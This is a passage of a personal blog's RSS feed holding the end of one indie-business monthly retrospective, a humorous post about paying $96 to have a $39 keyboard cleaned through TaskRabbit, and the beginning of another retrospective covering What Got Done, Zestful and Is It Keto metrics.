&lt;li>Don&amp;rsquo;t try to tinker with Bootstrap components too much.
&lt;ul>
&lt;li>I realized that many of the CSS headaches I&amp;rsquo;ve had with Is It Keto resulted from trying to add my custom CSS tweaks instead of learning to use Bootstrap&amp;rsquo;s native classes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>College job boards potentially yield a similar caliber of writers to freelance marketplaces but with significantly lower costs.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Hire a writer for Is It Keto.&lt;/li>
&lt;li>Earn revenue through a new channel for Is It Keto (e.g., a new affiliate partnership).&lt;/li>
&lt;li>Publish a guide to hiring freelance content writers.&lt;/li>
&lt;li>Finish open sourcing What Got Done.&lt;/li>
&lt;/ul></content:encoded></item><item><title>The Dumbest Task I Ever Outsourced</title><link>https://mtlynch.io/dumbest-task-i-ever-outsourced/</link><pubDate>Tue, 13 Aug 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/dumbest-task-i-ever-outsourced/</guid><description>&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/dumbest-task-i-ever-outsourced/cover_hu_4d242a8c7dcca0bc.jpg 300w, https://mtlynch.io/dumbest-task-i-ever-outsourced/cover_hu_57613ce336cd63d5.jpg 600w, https://mtlynch.io/dumbest-task-i-ever-outsourced/cover_hu_f1e86da76b9bc5b2.jpg 800w, https://mtlynch.io/dumbest-task-i-ever-outsourced/cover_hu_dfeb2e77e14a66c9.jpg 1200w, https://mtlynch.io/dumbest-task-i-ever-outsourced/cover.jpg 1200w'
 src="https://mtlynch.io/dumbest-task-i-ever-outsourced/cover.jpg" alt="The Dumbest Task I Ever Outsourced (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I derive immense satisfaction from outsourcing my chores. All of my friends have heard me encourage them to place a higher value on their free time and delegate their errands. Few of them heed my advice, and it&amp;rsquo;s probably because they know about the time I paid someone $96 to clean a $39 keyboard.&lt;/p></description><content:encoded>












 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/dumbest-task-i-ever-outsourced/cover_hu_4d242a8c7dcca0bc.jpg 300w, https://mtlynch.io/dumbest-task-i-ever-outsourced/cover_hu_57613ce336cd63d5.jpg 600w, https://mtlynch.io/dumbest-task-i-ever-outsourced/cover_hu_f1e86da76b9bc5b2.jpg 800w, https://mtlynch.io/dumbest-task-i-ever-outsourced/cover_hu_dfeb2e77e14a66c9.jpg 1200w, https://mtlynch.io/dumbest-task-i-ever-outsourced/cover.jpg 1200w'
 src="https://mtlynch.io/dumbest-task-i-ever-outsourced/cover.jpg" alt="The Dumbest Task I Ever Outsourced (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I derive immense satisfaction from outsourcing my chores. All of my friends have heard me encourage them to place a higher value on their free time and delegate their errands. Few of them heed my advice, and it&amp;rsquo;s probably because they know about the time I paid someone $96 to clean a $39 keyboard.&lt;/p>
&lt;h2 id="it-all-started-with-a-writing-class">It all started with a writing class&lt;/h2>
&lt;p>Back in 2016, I lived in a small studio apartment in Manhattan. It was a Monday night, and I was staring at my computer trying to write a short story. I hadn&amp;rsquo;t written fiction since high school, but I had recently signed up for a writing class. My first assignment was due at 9am the next day.&lt;/p>
&lt;p>Desperate for any distraction, I became fixated on my keyboard. It was so dusty and grimy. How had I not noticed this before? I used the same keyboard for six years, typed on it 20-30 hours per week, and ate all my meals in front of it.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard_hu_e17eb1f08fb51e78.jpg 300w, https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard_hu_500c636837737782.jpg 600w, https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard_hu_5ec2d7960c0b405a.jpg 800w, https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard_hu_3f07b88b5ecd4d70.jpg 1200w, https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard.jpg 1200w'
 src="https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard.jpg" alt="My keyboard on my desk" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My keyboard, in need of cleaning&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Growing up, my parents routinely popped all the keys from our keyboards to deep clean them in rubbing alcohol. Did people still do that?&lt;/p>
&lt;p>I should do that!&lt;/p>
&lt;p>No, I couldn&amp;rsquo;t do that or I&amp;rsquo;d never finish my story. I recognized my newfound cleanliness obsession as the procrastination mechanism that it was, but my only way of moving past it was to promise myself that I&amp;rsquo;d handle the dirty keyboard later that week.&lt;/p>
&lt;h2 id="outsource-all-the-things">Outsource all the things&lt;/h2>
&lt;p>At the time, I was making good money working for Google, but I constantly felt short on time. A friend in Seattle told me that she used an app called &lt;a href="https://www.taskrabbit.com">TaskRabbit&lt;/a> to book workers for short, one-off tasks like mounting a TV or picking something up from the store.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit_hu_8df5d4621c1348fd.jpg 300w, https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit_hu_fc3c31d073baadc6.jpg 600w, https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit_hu_bf0175cee6745d28.jpg 800w, https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit_hu_7ae064af2c114d2e.jpg 1200w, https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit.jpg 1347w'
 src="https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit.jpg" alt="TaskRabbit homepage" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TaskRabbit, a service that allows you to hire freelancers for short jobs and chores&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I signed up and browsed the app. To my surprise, TaskRabbit had no job template for &amp;ldquo;deep cleaning an old keyboard,&amp;rdquo; so I booked the job as &amp;ldquo;Small cleaning&amp;rdquo; and explained the nature of my task in the description. Unsure if the keyboard would fill up TaskRabbit&amp;rsquo;s one-hour minimum, I requested that the cleaner also take care of some dishes that had piled up in my sink.&lt;/p>
&lt;h2 id="must-have-at-least-15-years-of-keyboard-cleaning-experience">Must have at least 15 years of keyboard cleaning experience&lt;/h2>
&lt;p>People who responded to my TaskRabbit job were confused.&lt;/p>
&lt;p>One applicant told me that she wanted to be upfront in that she had &amp;ldquo;zero keyboard cleaning experience.&amp;rdquo; I assured her that it was okay. She only had to take out the keys, wipe them with rubbing alcohol, and put them back.&lt;/p>
&lt;p>Another candidate was pregnant and needed to know whether the job required heavy lifting. I promised her that mine was one of those fancy, modern keyboards that weighs less than 35 pounds.&lt;/p>
&lt;p>Finally, Jaclyn S sent me an offer. She approached the job with supreme confidence and had no questions except for what supplies to bring. Within 20 minutes, we booked the job for 3pm the following day.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-1.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-1_hu_3ae32faad7fe1182.jpg 300w, https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-1_hu_f0688fe26ab4b082.jpg 600w, https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-1.jpg 731w'
 src="https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-1.jpg" alt="Screenshot of conversation with Jaclyn S" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Jaclyn S is ready to clean some keyboards&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="the-first-hiccup">The first hiccup&lt;/h2>
&lt;p>Jaclyn S. messaged me a few hours before the appointment saying that her morning job exploded into a 10-hour task. She wouldn&amp;rsquo;t be able to make it to my place by 3pm. We could either reschedule for 9pm that evening or 3pm the following day.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-2.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-2_hu_94b0345bfb7e255b.jpg 300w, https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-2_hu_9fa2717ce4ea47ee.jpg 600w, https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-2.jpg 718w'
 src="https://mtlynch.io/dumbest-task-i-ever-outsourced/jaclyn-s-2.jpg" alt="Screenshot of conversation with Jaclyn S" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Jaclyn S explains why she can&amp;rsquo;t make it to the appointment&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This offended me. Was Jaclyn S. implying that I, a young man in one of Manhattan&amp;rsquo;s trendiest neighborhoods, had nothing better to do on a Saturday night than sit and watch somebody clean my keyboard?&lt;/p>
&lt;p>It was offensive because it was true. I told Jaclyn S. that 9pm was fine and awaited her arrival.&lt;/p>
&lt;h2 id="timeline">Timeline&lt;/h2>
&lt;p>Jaclyn S. arrived just after 8:30pm. Here&amp;rsquo;s the play-by-play of how the evening went:&lt;/p>
&lt;h3 id="835pm-5-minutes-elapsed">8:35pm, 5 minutes elapsed&lt;/h3>
&lt;p>I show Jaclyn S. to the kitchen, where there are a few days&amp;rsquo; worth of dirty dishes in the sink. Next to the sink, my keyboard is on a table, alongside Q-Tips, paper towels, and a bottle of rubbing alcohol. I roll in an extra office chair, show her how to pop keys off the keyboard, and tell her that I&amp;rsquo;ll be on the other side of the kitchen wall if she has any questions.&lt;/p>
&lt;h3 id="836pm-6-minutes-elapsed">8:36pm, 6 minutes elapsed&lt;/h3>
&lt;p>Returning to the desk in my bedroom/living room, I hear my sink turn on and the sound of dishes being scrubbed. We&amp;rsquo;re off to a good start.&lt;/p>
&lt;h3 id="9pm-05-hours-elapsed">9pm: 0.5 hours elapsed&lt;/h3>
&lt;p>The sink turns off, and I hear the distinct noise of keys popping off a keyboard. Everything&amp;rsquo;s on schedule.&lt;/p>
&lt;h3 id="930pm-1-hour-elapsed">9:30pm: 1 hour elapsed&lt;/h3>
&lt;p>Okay, she&amp;rsquo;s been on the keyboard for half an hour. She&amp;rsquo;ll probably be done any minute now.&lt;/p>
&lt;h3 id="1000pm-15-hours-elapsed">10:00pm, 1.5 hours elapsed&lt;/h3>
&lt;p>&lt;em>Any&lt;/em> minute now.&lt;/p>
&lt;h3 id="1015pm-175-hours-elapsed">10:15pm: 1.75 hours elapsed&lt;/h3>
&lt;p>The sounds coming from the kitchen sound panicked, like someone who screwed up and didn&amp;rsquo;t want to ask for help. Is she having trouble putting the keys back in? Has something broken, and she&amp;rsquo;s scrambling to fix it? Maybe I&amp;rsquo;m just projecting.&lt;/p>
&lt;h3 id="1030pm-2-hours-elapsed">10:30pm, 2 hours elapsed&lt;/h3>
&lt;p>Should I go in and ask her what&amp;rsquo;s taking so long? It&amp;rsquo;s tempting, but the situation makes me feel tremendously guilty. Because of me, she&amp;rsquo;s now entering hour 13 of her workday, and she&amp;rsquo;s stuck scrubbing a keyboard late into the night because some idiot was too lazy to do it himself.&lt;/p>
&lt;h3 id="11pm-25-hours-elapsed">11pm: 2.5 hours elapsed&lt;/h3>
&lt;p>On my way to the bathroom, I sneak a peek into the kitchen to see what&amp;rsquo;s going on. Most of the keys are still outside the keyboard, but Jaclyn S. is sitting between me and the table, blocking most of my view.&lt;/p>
&lt;p>This has to end eventually, so I&amp;rsquo;ll see what happens.&lt;/p>
&lt;h3 id="1130pm-3-hours-elapsed">11:30pm: 3 hours elapsed&lt;/h3>
&lt;p>What if this &lt;em>never&lt;/em> ends?&lt;/p>
&lt;p>What if I have to go to sleep with Jaclyn S. still cleaning my keyboard? What if years go by? I&amp;rsquo;ll get married and have children, then have to explain why there&amp;rsquo;s a woman who lives in my kitchen, eternally cleaning my precious Microsoft Natural Ergonomic Keyboard 4000.&lt;/p>
&lt;h3 id="12am-35-hours-elapsed">12am: 3.5 hours elapsed&lt;/h3>
&lt;p>Jaclyn S. emerges from my kitchen, triumphantly carrying my now sparkling clean keyboard. I thank her for her work and show her out. After plugging in my keyboard, everything works fine.&lt;/p>
&lt;h2 id="the-bill">The bill&lt;/h2>
&lt;p>The final cost for Jaclyn&amp;rsquo;s three and a half hours of keyboard cleaning: $95.55.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit-receipt.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit-receipt_hu_bd84dbcddaaf6765.jpg 300w, https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit-receipt_hu_302cd387f6b0bd81.jpg 600w, https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit-receipt_hu_8f1c96e1dc29dd1c.jpg 800w, https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit-receipt.jpg 800w'
 src="https://mtlynch.io/dumbest-task-i-ever-outsourced/taskrabbit-receipt.jpg" alt="$95.55 receipt for my TaskRabbit task" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TaskRabbit receipt from my keyboard cleaning task&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Out of curiosity, I checked what I paid for that keyboard brand new: $38.89.&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard-order.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard-order_hu_1803b09ae76543ab.jpg 300w, https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard-order.jpg 527w'
 src="https://mtlynch.io/dumbest-task-i-ever-outsourced/keyboard-order.jpg" alt="$38.89 receipt for purchasing my keyboard brand new" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Amazon receipt for my keyboard&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I spent $96 to clean a $39 keyboard.&lt;/p>
&lt;h2 id="its-not-that-dumb">It&amp;rsquo;s not &lt;em>that&lt;/em> dumb&lt;/h2>
&lt;p>When I told friends about it, many of them smugly remarked, &amp;ldquo;Oh, I&amp;rsquo;d &lt;em>never&lt;/em> waste $100 to clean a keyboard. I&amp;rsquo;d just clean it myself.&amp;rdquo; In fact, they would waste $100 cleaning it themselves. They just don&amp;rsquo;t realize it.&lt;/p>
&lt;p>There&amp;rsquo;s an implicit cost to everything that you do. You probably can&amp;rsquo;t calculate the value of your time down to the penny, but you can estimate it by asking yourself how much you&amp;rsquo;d demand to do the same task for someone else. If you&amp;rsquo;re unwilling to clean keyboards to earn $30/hr, then it&amp;rsquo;s irrational to clean a keyboard to save $30/hr.&lt;/p>
&lt;p>At the time of my fateful keyboard cleaning, my employer paid me well. For me to sacrifice my limited free time to clean someone&amp;rsquo;s keyboard, they&amp;rsquo;d have to offer me well above $100/hr.&lt;/p>
&lt;p>That said, there&amp;rsquo;s obviously something hinky going on when the cost of an item&amp;rsquo;s routine maintenance far exceeds its value, so what went wrong here?&lt;/p>
&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="outsourcing-doesnt-scale-down">Outsourcing doesn&amp;rsquo;t scale down&lt;/h3>
&lt;p>Between my time investment in arranging the job and the efficiency I lost, distracted by the poor woman stuck in my kitchen for almost four hours, it cost me more time to outsource this task than to do it myself.&lt;/p>
&lt;p>For any outsourced task, there are frictional costs of defining the job, finding a candidate, and managing their work. For small, one-time tasks, the frictional costs can balloon to a large enough proportion of the job that they negate the benefit of outsourcing.&lt;/p>
&lt;h3 id="invest-more-in-training">Invest more in training&lt;/h3>
&lt;p>The keyboard needed a good cleaning, but not &lt;em>three hours&lt;/em> of cleaning. Three hours would be like if I asked her to clean it after dipping it in a vat of molasses.&lt;/p>
&lt;p>My cleaner may have washed each key more thoroughly than was necessary. Perhaps she got stuck trying to put the keyboard back together and was afraid to ask for help. I could have prevented either pitfall by giving her more instructions upfront and letting her know it&amp;rsquo;s okay to watch YouTube videos or ask me for guidance.&lt;/p>
&lt;h3 id="theres-always-craigslist">There&amp;rsquo;s always craigslist&lt;/h3>
&lt;p>I knew from the start that cleaning the keyboard might be more expensive than replacing it, but the only alternative that occurred to me involved throwing away a perfectly functional keyboard and buying the same model brand new.&lt;/p>
&lt;p>A less wasteful solution would be to buy a new keyboard and offer the old one for free to an online community like &lt;a href="https://craigslist.org">craigslist&lt;/a> or my local &lt;a href="https://buynothingproject.org">buy nothing group&lt;/a>.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Sidenote&lt;/strong>: Friends suggested donating the keyboard to &lt;a href="https://www.salvationarmyusa.org">The Salvation Army&lt;/a>, but I don&amp;rsquo;t think it makes sense. For higher-value items, I happily donate. Below a certain price threshold, I suspect that sending it through The Salvation Army&amp;rsquo;s whole receiving, processing, displaying, and selling process is a net negative.
&lt;/div>

&lt;hr>
&lt;p>&lt;em>Cover art by Loraine Yow.&lt;/em>&lt;/p></content:encoded></item><item><title>What Got Done - Month 3</title><link>https://mtlynch.io/retrospectives/2019/08/</link><pubDate>Fri, 02 Aug 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2019/08/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m shelving &lt;a href="https://whatgotdone.com">What Got Done&lt;/a>, as customers seem uninterested in the idea.&lt;/li>
&lt;li>&lt;a href="https://zestfuldata.com">Zestful&lt;/a> has become my greatest challenge in not sweating the small stuff.&lt;/li>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> continues growing in the background, with a 22% increase in revenue and a 35% rise in traffic.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;h3 id="conduct-five-calls-with-new-customers">Conduct five calls with new customers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Conducted nine calls and meetings (five for What Got Done, three for Zestful, one for a project idea)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>I got almost twice as many interviews as I thought I would for and improved my skills at customer conversations.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;m shelving &lt;a href="https://whatgotdone.com">What Got Done&lt;/a>, as customers seem uninterested in the idea.&lt;/li>
&lt;li>&lt;a href="https://zestfuldata.com">Zestful&lt;/a> has become my greatest challenge in not sweating the small stuff.&lt;/li>
&lt;li>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> continues growing in the background, with a 22% increase in revenue and a 35% rise in traffic.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;h3 id="conduct-five-calls-with-new-customers">Conduct five calls with new customers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Conducted nine calls and meetings (five for What Got Done, three for Zestful, one for a project idea)&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>I got almost twice as many interviews as I thought I would for and improved my skills at customer conversations.&lt;/p>
&lt;h3 id="implement-two-commonly-requested-zestful-features">Implement two commonly-requested Zestful features&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added USDA matching and handling for &amp;ldquo;either/or&amp;rdquo; ingredients&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I successfully added a feature to Zestful that allows it to match user-supplied ingredients to entries in the &lt;a href="https://fdc.nal.usda.gov/index.html">USDA&amp;rsquo;s Food Database&lt;/a>, but coverage isn&amp;rsquo;t as high as I hoped (I set out for 80% and achieved 73%).&lt;/p>
&lt;p>USDA matching took longer than I expected, so I only had time to implement one other minor improvement, which is to handle ingredient strings with either/or options. Given an ingredient like &amp;ldquo;2 cups chicken stock or low-sodium broth,&amp;rdquo; Zestful will pick a single ingredient, whereas its previous behavior was to return a nonsensical mashup like &amp;ldquo;chicken stock low-sodium.&amp;rdquo;&lt;/p>
&lt;h3 id="add-two-engagement-encouraging-features-to-what-got-done">Add two engagement-encouraging features to What Got Done&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added a reactions feature and a preview panel for update drafts&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>What Got Done users can now add &lt;a href="https://imgur.com/sN626Tm">reactions&lt;/a> to posts (e.g., thumbs up, celebration), but it had no apparent effect on engagement. Only two or three users have tried the feature.&lt;/p>
&lt;p>As with Zestful, I was short on time and couldn&amp;rsquo;t implement the other feature I wanted (reminder emails), so I added a small, easy feature: &lt;a href="https://imgur.com/jRuRpjJ">live markdown render previews&lt;/a>.&lt;/p>
&lt;h2 id="inactive-projects">Inactive projects&lt;/h2>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;p>Now that Is It Keto is on the back burner, I&amp;rsquo;m not going to dive as deeply into its metrics, but here&amp;rsquo;s a summary of the most interesting ones:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>June 2019&lt;/th>
 &lt;th>July 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>14,419&lt;/td>
 &lt;td>19,526&lt;/td>
 &lt;td>&lt;font color="green">+5,107 (+35%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>39,405&lt;/td>
 &lt;td>53,467&lt;/td>
 &lt;td>&lt;font color="green">+14,062 (+36%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>862&lt;/td>
 &lt;td>1,442&lt;/td>
 &lt;td>&lt;font color="green">+580 (+67%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;td>$71.49&lt;/td>
 &lt;td>N/A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$138.76&lt;/td>
 &lt;td>$153.98&lt;/td>
 &lt;td>&lt;font color="green">+$15.22 (+11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$138.76&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$225.47&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$86.71 (+62%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>It feels strange to keep ignoring Is It Keto, given that it&amp;rsquo;s grown at least 30-50% in traffic and revenue every month this year. I&amp;rsquo;m torn between my urge to focus more on my most profitable project and my desire to stop splitting my focus among many ideas.&lt;/p>
&lt;h2 id="why-use-what-got-done-when-we-have-slack">Why use What Got Done when we have Slack?&lt;/h2>
&lt;p>In July, I conducted five customer interviews for What Got Done:&lt;/p>
&lt;ul>
&lt;li>Three were interviews with ex-Google founders who I found through cold outreach.&lt;/li>
&lt;li>One was an inbound inquiry from someone who read &lt;a href="https://mtlynch.io/status-updates-to-nobody/">my blog post about the joy of Snippets&lt;/a>.&lt;/li>
&lt;li>One was a tech startup owner near where I live.&lt;/li>
&lt;/ul>
&lt;p>Four other founders responded to my emails and politely declined my meeting requests.&lt;/p>
&lt;p>Except for the person who reached out to me, the consistent feedback I heard was that everyone is currently sharing team status updates through Slack and standup meetings. Nobody raved about their solution, but everyone felt satisfied enough that they weren&amp;rsquo;t interested in exploring alternatives.&lt;/p>
&lt;p>One other path I thought might make What Got Done viable was organic growth. There was a steady stream of &lt;a href="https://mtlynch.io/retrospectives/2019/07/#a-jumpstart-for-what-got-done">new user signups at the end of June&lt;/a>. If people continued using the free plan, maybe What Got Done would gain momentum, and people would push for their employers to adopt a paid plan. Unfortunately, organic growth tapered off in early July:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/08/whatgotdone-new-users-2019-07.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/08/whatgotdone-new-users-2019-07_hu_8010b5b415fd8c87.jpg 300w, https://mtlynch.io/retrospectives/2019/08/whatgotdone-new-users-2019-07_hu_d1a67dd422ee3a65.jpg 600w, https://mtlynch.io/retrospectives/2019/08/whatgotdone-new-users-2019-07.jpg 730w'
 src="https://mtlynch.io/retrospectives/2019/08/whatgotdone-new-users-2019-07.jpg" alt="Screenshot of Is It Keto after adding AdSense ads" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/08/whatgotdone-active-users-2019-07.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/08/whatgotdone-active-users-2019-07_hu_ce4324dbe522b3ee.jpg 300w, https://mtlynch.io/retrospectives/2019/08/whatgotdone-active-users-2019-07_hu_8218959e02174705.jpg 600w, https://mtlynch.io/retrospectives/2019/08/whatgotdone-active-users-2019-07.jpg 730w'
 src="https://mtlynch.io/retrospectives/2019/08/whatgotdone-active-users-2019-07.jpg" alt="Screenshot of Is It Keto after adding AdSense ads" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Daily signups and user actives for What Got Done - July 2019&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I&amp;rsquo;m going to shelve What Got Done as a business idea and keep it as a personal tool. My primary motivation in building it was &lt;a href="https://mtlynch.io/retrospectives/2019/05/#the-what-got-done-app">to teach myself Vue.js&lt;/a>, and I was successful in that regard. It wasn&amp;rsquo;t my strongest business idea, but I figured I&amp;rsquo;d try selling it if I was going to build the app either way. It turned out to be too weak as a business product, so I&amp;rsquo;m going to focus on other ideas that have greater potential.&lt;/p>
&lt;h2 id="zestful-and-resisting-the-urge-to-fix-everything">Zestful and resisting the urge to fix everything&lt;/h2>
&lt;p>This month, I realized that &lt;a href="https://zestfuldata.com">Zestful&lt;/a>, my unprofitable ingredient parsing service, is the perfect project to tempt my perfectionist tendencies. It involves a web app, a RESTful web service, a training application, and a machine learning pipeline, so the whole thing has so many small, imperfect parts that it&amp;rsquo;s a constant challenge to resist fixing lots of little things. Unfortunately, July was a month where I succumbed to this temptation more often than not.&lt;/p>
&lt;p>For example, I realized that Zestful was incorrectly parsing the ingredient &amp;ldquo;ground cinnamon.&amp;rdquo; It considered &amp;ldquo;cinnamon&amp;rdquo; the product and &amp;ldquo;ground&amp;rdquo; to be a preparation step for the ingredient. Few people grind their own cinnamon sticks, so the product should be &amp;ldquo;ground cinnamon.&amp;rdquo; I investigated the cause and discovered that my training dataset featured many examples of &amp;ldquo;ground cinnamon&amp;rdquo; that had incorrect labels, so the model got confused.&lt;/p>
&lt;p>It seemed like a quick fix, but I probably spent an hour hunting down all the bad &amp;ldquo;ground cinnamon&amp;rdquo; examples. I finally finished, proud to have eliminated an error case, but I didn&amp;rsquo;t really improve anything meaningful. Only 0.3% of Zestful&amp;rsquo;s requests include &amp;ldquo;ground cinnamon.&amp;rdquo; What&amp;rsquo;s more, the previous behavior of returning &amp;ldquo;cinnamon&amp;rdquo; was adequate because everyone assumes &amp;ldquo;cinnamon&amp;rdquo; means &amp;ldquo;ground cinnamon&amp;rdquo; anyway.&lt;/p>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 798px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/08/ground-cinnamon.jpg">
